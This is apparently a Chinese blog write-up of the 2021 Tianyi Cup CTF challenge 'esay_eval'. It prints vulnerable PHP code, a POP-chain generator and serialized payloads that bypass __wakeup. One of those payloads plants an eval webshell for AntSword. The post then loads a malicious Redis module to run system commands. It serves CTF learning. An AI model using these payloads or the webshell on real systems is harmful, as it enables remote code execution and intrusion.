[天翼杯 2021]esay_eval复现

本文探讨了PHP中的反序列化绕过wakeup魔术方法的技巧,通过修改属性个数或类名大小写来规避。同时,介绍了如何利用Redis加载恶意SO文件获取shell,包括上传恶意文件到html目录,然后通过蚁剑连接Redis执行系统命令。整个过程涉及代码审计、正则匹配和命令执行等安全问题。
摘要由CSDN通过智能技术生成

考点

  • 反序列化绕过wakeup魔术方法
  • Redis加载恶意so文件获取shell

解题

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
} 

前置:

__call(),在对象中调用一个不可访问方法时调用

代码审计,构造链子

<?php
class A{
    public $code = "phpinfo();";
    }
class B{
	public $a;
	}
$b = new B();
$b->a = new A();
echo urlencode(serialize($b));
// O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

绕过wakeup方法

由于wakeup方法会把code置空,我们需要绕过该方法

正常来讲我们只需要修改:属性个数>真实属性个数

但是这里有正则需要保证属性的值为1

方法1:

增加真实属性的个数

O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}

方法2:

类名是不区分大小写的,因此只要类名改成小写,绕wakeup修改改A和改B的属性数量都行

O:1:"b":3:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

image-20211201184559704查看disable function,命令执行函数都被过滤了

这里我们使用蚁剑连接

O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

Redis加载恶意so获取shell

html目录下有config文件,里面有redis密码

image-20211201192914214

先在html目录下上传恶意so文件

文件地址

上传完成后使用蚁剑redis插件连接

image-20211201194046200

然后再加载

MODULE LOAD "/var/www/html/exp.so"
system.exec "whoami"

image-20211201194344101

之后便可以执行命令

system.exec "cat /f"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值